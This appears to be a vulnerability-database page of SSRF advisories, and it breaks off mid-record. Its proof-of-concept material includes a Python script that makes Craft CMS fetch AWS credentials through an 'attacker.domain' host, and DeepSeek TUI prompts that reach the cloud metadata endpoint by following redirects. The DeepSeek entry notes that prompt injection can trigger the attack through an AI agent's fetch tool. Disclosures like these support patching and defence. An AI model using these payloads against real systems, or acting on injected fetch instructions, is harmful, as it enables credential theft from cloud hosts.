CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4758 vulnerabilities reference this CWE, most recent first.
GHSA-95WR-3F2V-V2WH
Vulnerability from github – Published: 2026-04-14 23:36 – Updated: 2026-04-24 20:42Summary
The resource-js endpoint in Craft CMS allows unauthenticated requests to proxy remote JavaScript resources.
When trustedHosts is not explicitly restricted (default configuration), the application trusts the client-supplied Host header.
This allows an attacker to control the derived baseUrl, which is used in prefix validation inside actionResourceJs().
By supplying a malicious Host header, the attacker can make the server issue arbitrary HTTP requests, leading to Server-Side Request Forgery (SSRF).
Details
The vulnerability exists in AppController::actionResourceJs().
The function validates that the url parameter starts with assetManager->baseUrl. However, baseUrl is derived from the current request host. If trustedHosts is not configured, the Host header is fully attacker-controlled.
Attack chain:
- Attacker sends request with controlled
Hostheader. - Application derives
baseUrlfrom the malicious Host. urlparameter is required to start with thisbaseUrl.- Validation passes.
- Guzzle performs a server-side HTTP request to the attacker-controlled host.
- SSRF occurs.
This does not rely on string parsing bypass. It relies on Host header trust.
PoC (safe reproduction steps)
Environment: - Craft CMS 5.9.12 - Default configuration (no trustedHosts restriction) - Docker deployment
-
Start a listener inside the container: python3 -m http.server 9999
-
Send a request to resource-js with a controlled Host header.
-
Observe that the internal listener receives a request (OOB confirmation).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.9.14"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.8"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41130"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:36:09Z",
"nvd_published_at": "2026-04-22T00:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `resource-js` endpoint in Craft CMS allows unauthenticated requests to proxy remote JavaScript resources. \nWhen `trustedHosts` is not explicitly restricted (default configuration), the application trusts the client-supplied Host header. \n\nThis allows an attacker to control the derived `baseUrl`, which is used in prefix validation inside `actionResourceJs()`. \nBy supplying a malicious Host header, the attacker can make the server issue arbitrary HTTP requests, leading to Server-Side Request Forgery (SSRF).\n\n### Details\n\nThe vulnerability exists in `AppController::actionResourceJs()`.\n\nThe function validates that the `url` parameter starts with `assetManager-\u003ebaseUrl`. However, `baseUrl` is derived from the current request host. If `trustedHosts` is not configured, the Host header is fully attacker-controlled.\n\nAttack chain:\n\n1. Attacker sends request with controlled `Host` header.\n2. Application derives `baseUrl` from the malicious Host.\n3. `url` parameter is required to start with this `baseUrl`.\n4. Validation passes.\n5. Guzzle performs a server-side HTTP request to the attacker-controlled host.\n6. SSRF occurs.\n\nThis does not rely on string parsing bypass. It relies on Host header trust.\n\n### PoC (safe reproduction steps)\n\nEnvironment:\n- Craft CMS 5.9.12\n- Default configuration (no trustedHosts restriction)\n- Docker deployment\n\n1. Start a listener inside the container:\n python3 -m http.server 9999\n\n2. Send a request to resource-js with a controlled Host header.\n\n3. Observe that the internal listener receives a request (OOB confirmation).",
"id": "GHSA-95wr-3f2v-v2wh",
"modified": "2026-04-24T20:42:23Z",
"published": "2026-04-14T23:36:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-95wr-3f2v-v2wh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41130"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/ebe7e85f1c89700d64332f72492be2e9a594e783"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has a host header injection leading to SSRF via resource-js endpoint"
}
GHSA-95WW-475F-PR4F
Vulnerability from github – Published: 2026-04-20 00:30 – Updated: 2026-04-22 22:02A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ragas"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.3"
},
{
"last_affected": "0.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6587"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T22:02:02Z",
"nvd_published_at": "2026-04-20T00:16:34Z",
"severity": "LOW"
},
"details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-95ww-475f-pr4f",
"modified": "2026-04-22T22:02:02Z",
"published": "2026-04-20T00:30:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6587"
},
{
"type": "WEB",
"url": "https://adithyanak.com/ragas-v0214-arbitrary-file-read-vulnerability"
},
{
"type": "PACKAGE",
"url": "https://github.com/vibrantlabsai/ragas"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/791088"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358222"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358222/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module"
}
GHSA-95X4-2J8Q-MF8Q
Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31IBM Concert 1.0.0 through 2.1.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2025-36243"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-17T20:22:03Z",
"severity": "MODERATE"
},
"details": "IBM Concert 1.0.0 through 2.1.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-95x4-2j8q-mf8q",
"modified": "2026-02-17T21:31:14Z",
"published": "2026-02-17T21:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36243"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7260162"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9693-8GW9-R7FG
Vulnerability from github – Published: 2026-03-19 15:31 – Updated: 2026-04-22 18:31BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a blind server-side request forgery vulnerability in the searchWeb API component that allows authenticated attackers to cause the server to initiate arbitrary outbound requests. Attackers can exploit improper URL validation to perform internal network scanning or interact with internal services, impacting system availability. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.
{
"affected": [],
"aliases": [
"CVE-2025-71258"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-19T14:16:13Z",
"severity": "MODERATE"
},
"details": "BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a blind server-side request forgery vulnerability in the searchWeb API component that allows authenticated attackers to cause the server to initiate arbitrary outbound requests. Attackers can exploit improper URL validation to perform internal network scanning or interact with internal services, impacting system availability.\u00a0The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.",
"id": "GHSA-9693-8gw9-r7fg",
"modified": "2026-04-22T18:31:36Z",
"published": "2026-03-19T15:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71258"
},
{
"type": "WEB",
"url": "https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2"
},
{
"type": "WEB",
"url": "https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/bmc-footprints-itsm-blind-ssrf-in-searchweb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-96FF-GC8G-WPVG
Vulnerability from github – Published: 2026-05-14 20:29 – Updated: 2026-06-09 10:19Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.
PoC
Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"
Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302
Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.
Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.
Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45310"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:29:26Z",
"nvd_published_at": "2026-05-28T18:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `fetch_url` tool validates the initial URL\u0027s resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 \u2014 Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error \u2014 \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 \u2014 SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/\u0026status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" \u2014 NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 \u2014 Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass\u0026status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.",
"id": "GHSA-96ff-gc8g-wpvg",
"modified": "2026-06-09T10:19:44Z",
"published": "2026-05-14T20:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg"
},
{
"type": "WEB",
"url": "https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45310"
},
{
"type": "PACKAGE",
"url": "https://github.com/Hmbown/DeepSeek-TUI"
},
{
"type": "WEB",
"url": "https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool"
}
GHSA-96FR-VHF8-GMQQ
Vulnerability from github – Published: 2025-11-06 21:31 – Updated: 2025-11-07 18:30A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2025-60541"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T19:15:41Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request.",
"id": "GHSA-96fr-vhf8-gmqq",
"modified": "2025-11-07T18:30:28Z",
"published": "2025-11-06T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60541"
},
{
"type": "WEB",
"url": "https://github.com/linshenkx/prompt-optimizer/issues/179"
},
{
"type": "WEB",
"url": "https://github.com/linshenkx/prompt-optimizer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-96G2-X6H6-V7H9
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2023-09-28 21:30Server-side request forgery (SSR) vulnerability in the WP Smart Import (wp-smart-import) plugin 1.0.0 for WordPress via the file field.
{
"affected": [],
"aliases": [
"CVE-2020-24147"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-07T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Server-side request forgery (SSR) vulnerability in the WP Smart Import (wp-smart-import) plugin 1.0.0 for WordPress via the file field.",
"id": "GHSA-96g2-x6h6-v7h9",
"modified": "2023-09-28T21:30:57Z",
"published": "2022-05-24T19:07:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24147"
},
{
"type": "WEB",
"url": "https://github.com/secwx/research/blob/main/cve/CVE-2020-24147.md"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-smart-import/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-96JG-8W8Q-QMMC
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-08 00:31Server-side request forgery (ssrf) in Azure Notification Service allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-41105"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-07T22:16:35Z",
"severity": "HIGH"
},
"details": "Server-side request forgery (ssrf) in Azure Notification Service allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-96jg-8w8q-qmmc",
"modified": "2026-05-08T00:31:34Z",
"published": "2026-05-08T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41105"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-96MW-RFCV-484Q
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A Server-Side Request Forgery (SSRF) vulnerability exists in infiniflow/ragflow version 0.12.0. The vulnerability is present in the POST /v1/llm/add_llm and POST /v1/conversation/tts endpoints. Attackers can specify an arbitrary URL as the api_base when adding an OPENAITTS model, and subsequently access the tts REST API endpoint to read contents from the specified URL. This can lead to unauthorized access to internal web resources.
{
"affected": [],
"aliases": [
"CVE-2024-12779"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:30Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in infiniflow/ragflow version 0.12.0. The vulnerability is present in the `POST /v1/llm/add_llm` and `POST /v1/conversation/tts` endpoints. Attackers can specify an arbitrary URL as the `api_base` when adding an `OPENAITTS` model, and subsequently access the `tts` REST API endpoint to read contents from the specified URL. This can lead to unauthorized access to internal web resources.",
"id": "GHSA-96mw-rfcv-484q",
"modified": "2025-03-20T12:32:43Z",
"published": "2025-03-20T12:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12779"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/3cc748ba-2afb-4bfe-8553-10eb6d6dd4f0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-96PQ-HXPW-RGH8
Vulnerability from github – Published: 2026-02-09 20:35 – Updated: 2026-02-09 22:38Summary
- The save_images_Asset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.)
- Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP)
- Attacker invokes save_images_Asset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt"
- Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt
- Normal checks to verify that image is valid are bypassed because of .txt extension
- Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address
Details
handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.
It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):
} elseif (!empty($fileInformation['url'])) {
$url = $fileInformation['url'];
// make sure the hostname is alphanumeric and not an IP address
$hostname = parse_url($url, PHP_URL_HOST);
if (
!filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||
filter_var($hostname, FILTER_VALIDATE_IP)
) {
throw new UserError("$url contains an invalid hostname.");
}
if (empty($fileInformation['filename'])) {
$filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));
} else {
$filename = AssetsHelper::prepareAssetName($fileInformation['filename']);
}
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (is_array($allowedExtensions) && !in_array($extension, $allowedExtensions, true)) {
throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension."));
}
The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.
An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.
- First, the attacker must register a domain -- e.g. attacker.domain.
- Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254)
- Next, they make a request to save_images_Asset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt"
- Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information
PoC
Preconditions
- Graphql access must be enabled
- Attacker must have access to a graphql token
- Token must be configured to have access to save_images_Asset mutation
- Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access
- .txt must be an allowed extension for uploads via save_images_Asset (as it is by default)
Code
import requests
# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.
GRAPHQL_ENDPOINT = 'http://localhost:8080/actions/graphql/api'
TOKEN = '<TOKEN HERE>'
mutation = '''
mutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,
title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }
'''
variables = {
'_file': {
'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials",
'filename': 'foo.txt'
},
"title": "my photo",
"focalPoint": "0.5;0.5"
}
resp = requests.post(GRAPHQL_ENDPOINT,
json={'query': mutation, 'variables': variables},
headers={'Authorization': f'Bearer {TOKEN}'})
print(resp.status_code, resp.text)
If attack is successful, response to running this script will be something like:
200 {"data":{"save_images_Asset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}
Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt
Impact
Impacted users must:
- Have graphql enabled
- Have a graphql token created with permissions to use save_images_Asset
- Have graphql token stolen by attacker or abused by malicious insider
Impact is heightened if:
- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.
Ultimate result is:
Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.21"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/craft"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.17"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/craft"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "4.16.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25492"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:35:23Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n- The save_images_Asset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.)\n- Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP)\n- Attacker invokes save_images_Asset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename \"foo.txt\"\n- Craft fetches sensitive information on attacker\u0027s behalf, and makes it available for download at /assets/images/foo.txt\n- Normal checks to verify that image is valid are bypassed because of .txt extension\n- Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address\n\n### Details\n\nhandleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.\n\nIt has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):\n\n```\n } elseif (!empty($fileInformation[\u0027url\u0027])) {\n $url = $fileInformation[\u0027url\u0027];\n\n // make sure the hostname is alphanumeric and not an IP address\n $hostname = parse_url($url, PHP_URL_HOST);\n if (\n !filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||\n filter_var($hostname, FILTER_VALIDATE_IP)\n ) {\n throw new UserError(\"$url contains an invalid hostname.\");\n }\n\n if (empty($fileInformation[\u0027filename\u0027])) {\n $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));\n } else {\n $filename = AssetsHelper::prepareAssetName($fileInformation[\u0027filename\u0027]);\n }\n\n $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n if (is_array($allowedExtensions) \u0026\u0026 !in_array($extension, $allowedExtensions, true)) {\n throw new AssetDisallowedExtensionException(Craft::t(\u0027app\u0027, \"\u201c{$extension}\u201d is not an allowed file extension.\"));\n }\n```\n\nThe upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.\n\nAn authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance\u0027s internal network.\n\n- First, the attacker must register a domain -- e.g. attacker.domain. \n- Next, they must point their domain at the sensitive internal ip they\u0027d like to access (e.g. 169.254.169.254)\n- Next, they make a request to save_images_Asset with url set to http://attacker.domain/sensitive/path with filename set to \"something.txt\"\n- Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information\n\n\n### PoC\n\n#### Preconditions\n\n- Graphql access must be enabled\n- Attacker must have access to a graphql token\n- Token must be configured to have access to save_images_Asset mutation\n- Attacker must have configured a domain, \"attacker.domain\" pointing to the sensitive internal IP address they\u0027d like to access\n- .txt must be an allowed extension for uploads via save_images_Asset (as it is by default)\n\n#### Code\n\n```\nimport requests\n\n# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.\nGRAPHQL_ENDPOINT = \u0027http://localhost:8080/actions/graphql/api\u0027\nTOKEN = \u0027\u003cTOKEN HERE\u003e\u0027\n\nmutation = \u0027\u0027\u0027\nmutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,\n title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }\n\u0027\u0027\u0027\n\nvariables = {\n \u0027_file\u0027: {\n \u0027url\u0027 : \"http://attacker.domain/latest/meta-data/iam/security-credentials\",\n \u0027filename\u0027: \u0027foo.txt\u0027\n\n },\n \"title\": \"my photo\",\n \"focalPoint\": \"0.5;0.5\"\n\n}\n\nresp = requests.post(GRAPHQL_ENDPOINT,\n json={\u0027query\u0027: mutation, \u0027variables\u0027: variables},\n headers={\u0027Authorization\u0027: f\u0027Bearer {TOKEN}\u0027})\nprint(resp.status_code, resp.text)\n```\n\nIf attack is successful, response to running this script will be something like:\n\n```\n200 {\"data\":{\"save_images_Asset\":{\"id\":\"211403\",\"title\":\"my 